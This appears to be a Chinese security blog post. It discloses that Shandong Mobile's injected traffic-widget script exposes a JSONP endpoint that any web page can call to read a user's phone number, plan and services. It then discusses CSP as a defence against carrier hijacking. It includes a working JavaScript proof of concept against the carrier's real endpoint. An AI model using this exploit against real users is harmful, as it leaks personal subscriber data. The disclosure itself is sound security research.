山东移动在使用3/4G的时候,会在网页中插入一段js,然后在网页右下角显示一个流量球,显示你当前剩余流量,点击流量球还可以办理业务。
但是在使用jsonp查询的时候没有进行有效的安全校验,导致用户在使用3/4G的时候该接口可以被任意网页js调用,可以获取用户手机号码,当前已经办理的业务,当前的套餐情况,办理各种套餐等。当然这里除了对手机号打码之外也没有别的办法进行校验,毕竟是插入到别人的页面的,校验referer肯定不行。
获取手机号的poc
var angular = {"callbacks": {"_y": function(data){console.log(data);alert(data.respparam.phoneNumber);}}};
$.ajax({
url: "http://wap.toolbar.sd.chinamobile.com:8080/html/servicereq/queryMessageList?callback=angular.callbacks._y&csession=-1648015146&reqparam=%7B%22flag%22:%22-1%22,%22startNum%22:%221%22,%22number%22:%2210%22%7D&templateId=fullscreenbar",
method: "get",
dataType: "jsonp",
jsonp: "angular.callbacks._y",
})
运营商劫持已经成为国内互联网安全隐患之一,越来越多的网站选择使用https来防范运营商劫持。使用CSP策略是暂时无法使用https的网站的临时解决方案。
根据 http://www.cnblogs.com/Kevin-Zhao/articles/5216686.html qq音乐全站使用了下面的CSP策略
content-security-policy:script-src https: *.qq.com *.sinajs.cn *.gtimg.cn *.url.cn *.tenpay.com *.qpic.cn *.qpimg.cn *.idqqimg.com *.gtimg.com *.soso.com 'unsafe-inline' 'unsafe-eval'; report-uri http://qm.music.qq.com/report_csp
2016年02月21日一天内就有2,322,499次占1.63%的PV被拦截上报,统计如下
可见国内运营商劫持是多么的猖狂。